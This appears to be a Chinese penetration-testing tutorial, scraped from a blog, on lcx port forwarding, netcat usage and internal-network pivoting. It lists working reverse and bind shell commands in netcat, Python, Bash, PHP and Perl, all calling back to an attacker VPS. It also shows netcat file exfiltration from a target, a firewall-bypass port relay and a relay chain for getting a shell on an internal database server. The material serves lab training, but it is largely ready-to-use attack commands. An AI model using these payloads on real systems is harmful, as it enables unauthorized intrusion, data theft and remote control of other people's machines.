传输层 lcx实现本地端口映射&&内网代理
如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据透传到防火墙允许的端口(例如53),在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。
1.lcx实现本地端口映射
lcx -tran 53 <目标主机的IP地址> 3389
2.netcat
之所以叫作netcat,是因为它是网络上的cat。cat的功能是读取一个文件的内容并传输出到屏幕上,netcat也是如此----从网络的一端读取数据,输出到网络的另一端(可以使用TCP和UDP协议)。
2.1 netcat基本参数说明
-d 后台模式
-e 程序重定向
-g <网关> 设置路由器跃程通信网关,最多可设置8个
-G <指向器数目> 设置来源路由器指向器,其数值为4的倍数
-h 在线帮助
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口
-l 使用监听模式,管控传入的资料
-n 直接使用IP地址,而不通过域名服务器
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
-p <通信端口> 设置本地主机使用的通信端口;
-r 随机指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 详细输出;
-w <超时秒数> 设置等待连线的时间;
-z 将输入输出关掉,只在扫描通信端口时使用
2.2 netcat的功能
.Banner抓取
服务器的Banner信息能够为系统管理员提供当前网络中的系统信息和所运行服务的情况。服务的Banner信息不仅包含正在运行的服务类型,还包含服务的版本信息。Banner抓取是一种在开放的端口上检索关于特定服务信息的技术,在渗透测试中用于漏洞的评估。
nc -nv 127.0.0.1 80
.连接到远程主机
nc -nvv 192.168.4.134 80
.端口扫描
nc -v 192.168.4.134 80
nc -v -z 192.168.4.134 20-1024
.端口监听
执行如下命令,监听本地端口。当访问该端口时会输出该信息到命令行
nc -l -p 9999
.文件传输
在本地VPS主机中输入如下命令,开始监听,等待连接。一旦连接建立,数据便会流入,
nc -lp 333 > 1.txt
在目标主机中输入如下命令,与VPS的333端口建立连接,并传输一个名为text.txt的文件
nc -vn 192.168.4.134 333 < text.txt -q 1
.简易聊天
在本地VPS主机中输入如下命令,开始监听
nc -l -p 888
在目标主机中输入如下命令,就可以开始聊天
nc -vn 192.168.4.134 888
.获取shell
正向 shell
目标主机监听: Nc -lvp 4444 -e /bin/sh //linux Nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows
本地主机: nc 192.168.1.11 4444
反向 shell
本地主机监听: nc -lvp 9999
目标主机: nc 192.168.11.144 9999 -e /bin/sh //linux
nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows
目标主机上没有Netcat,获取反向shell
python反向shell
VPS上监听端口: Nc -lvp 2222
目标主机上执行: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM );s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bash反向shell
VPS上监听端口: Nc -lvp 4444
目标主机上执行: bash -i >& /dev/tcp/192.168.1.4/4444 0>&1
PHP反向shell
VPS上监听端口: Nc -lvp 2222
目标主机上执行: php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl反向shell
VPS上监听端口: Nc -lvp 4444
目标主机上执行: perl -e ‘ use Socket;$i=”192.168.1.4″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprot obyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,” >&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh - i”);};’
3.内网代理
3.1 拓扑图
3.2 测试环境
攻击者VPS(kali linux):192.168.4.136
一个小型内网;
三台服务器;
假设已经获取了web服务器的权限,通过Kali linux机器不能直接访问数据库服务器(linux),但通过Web 服务器可以访问数据库服务器(linux)。
测试目标为:获取数据库服务器(linux)的shell
3.3 实验步骤
vps上执行如下命令
nc -lvp 3333
web服务器(跳板机)上执行
nc -v 192.168.4.136 3333 -c "nc -v 1.1.1.10 3333"
数据库服务器上执行
nc -lvp 3333 -e /bin/sh
vps上获取到了数据库服务器的shell,
传输层 lcx实现本地端口映射&&内网代理的更多相关文章
- Tp-link路由器怎么设置端口映射 内网端口映射听语音
https://jingyan.baidu.com/article/ca00d56c710ef9e99eebcf85.html 只有一台能上网的电脑就可以自己免费搭建服务器,本经验简单介绍家用tp-l ...
- python网络编程01 /C/S架构|B/S架构、网络通信原理、五层协议、七层协议简述、端口映射技术
python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述.端口映射技术 目录 python网络编程01 /C/S架构|B/S架构.网络通信原理.五层协议.七层协议简述. ...
- 【转】使用miniupnpd-->upnp协议 映射本地端口到外网
miniupnpc的主要函数介绍 1>.miniupnpc库主要使用的头文件有 #include"miniwget.h" #include"miniupnpc.h& ...
- Apache服务器中设置端口映射和反向代理的方法
在/etc/httpd/conf路径下的httpd.conf文件###new add for webui.cong###Include "E:/local/Wamp/bin/apache/A ...
- 本地Linux虚拟机内网穿透,服务器文件下载到本地磁盘
本地Linux虚拟内网穿透 把服务器文件下载到本地磁盘 https://natapp.cn/ 1.注册账户点击免费隧道
- wstngfw中使用虚拟IP映射内网IP
wstngfw中使用虚拟IP映射内网IP -------------------------------- Server01: IP: 192.168.195.73/24 GW: 192.168.19 ...
- 网络层、传输层、应用层、端口通信协议编程接口 - http,socket,tcp/ip 网络传输与通讯知识总结
引: http://coach.iteye.com/blog/2024511 什么是TCP和UDP,以及二者区别是什么? TCP的全称为传输控制协议.这种协议可以提供面向连接的.可靠的.点到点的通信. ...
- VMware NAT端口映射 外网可以访问内网虚拟机
我想尝试的是利用本机的ip+port来访问虚拟机上的web服务器,因为这样的话,我就能够将我的web服务器部署成为一个能让外网访问的服务器了,首先说下我的环境: 主机:系统win7,ip地址172.1 ...
- WinServer 之 内网发布网站后端口映射外网访问
内网IP只能在内网局域网访问连接,在外网是不能认识内网IP不能访问的.如有路由权限,且路由有固定公网IP,可以通过路由的端口映射,实现外网访问内网.如无路由,或路由无公网IP,需要用到第三方开放的花生 ...
随机推荐
- day3 创建数组并完成对数组的操作
1.实现函数action()初始化数据全0的操作 2.实现函数assignment()利用指针给数组赋值0~9 3.实现函数print()打印数组的每个函数 4.实现函数reverse()完成对数组的 ...
- 《剑指offer》面试题13. 机器人的运动范围
问题描述 地上有一个m行n列的方格,从坐标 [0,0] 到坐标 [m-1,n-1] .一个机器人从坐标 [0, 0] 的格子开始移动,它每次可以向左.右.上.下移动一格(不能移动到方格外),也不能进入 ...
- Jquery操作文本内容(三个方法:html()、text()、var())
Jquery操作文本内容(三个方法:html().text().var()) 一.html()获取和设置文本内容和标签 1.获取标签里的结构和内容 $("ul").html() / ...
- vue-cli创建的项目打包成app引入字体图标的问题
将项目在手机端调试时,发现引入的阿里图标显示不出来,需要在引入的iconfont.css文件夹里给url加上https
- elementui表格里面的索引,多选的复用解决
使用elementui表格时,当一个页面通过if判断有多个不同的表格时,其中一个或多个表格想要设置索引或者多选框时,会发现你在第一个里面设置了索引或者多选框,其他的表格都会出现,你在后面的其中一个设置 ...
- 【ASP.NET Core】使用最熟悉的Session验证方案
如果大伙伴们以前写过 ASP 或 PHP 之类的,相信各位对基于 Session 的身份验证很熟悉(其实在浏览器端是结合 Cookie 来处理的).这种验证方式是比较早期的,操作起来也不复杂. a.用 ...
- Nginx限制连接控制访问量
目录 一:限制连接数模块(同时访问网址能访问多少次) 1.修改网址模块文件 2.测试 3.重启 4.增加解析ip 5.压力测试 二:控制Nginx访问量 1.连接池 2.限制数 3.测试 4.重启 5 ...
- Nginx全面介绍 什么是Nginx?
目录 一:Nginx全面讲解 1.简介: 2.nginx的用武之地 3.关于代理(解析含义作用) 二:正向代理 三:反向代理 四:项目应用场景 五:正向代理与反向代理区别 1.正向代理 2.反向代理 ...
- Redis内存满了怎么办(新年快乐)
Redis内存满了怎么办(新年快乐) 入我相思门,知我相思苦. 长相思兮长相忆,短相思兮无穷极. 一.配置文件 Redis长期使用或者不设置过期时间,导致内存爆满或不足,可以到Redis的配置文件re ...
- JavaScript之递归查找所有父节点
......data: () => ({ // 数据 dt: [{ id: '1', children: [ { id: '1-1', children: [ { id: '1-1-1', ch ...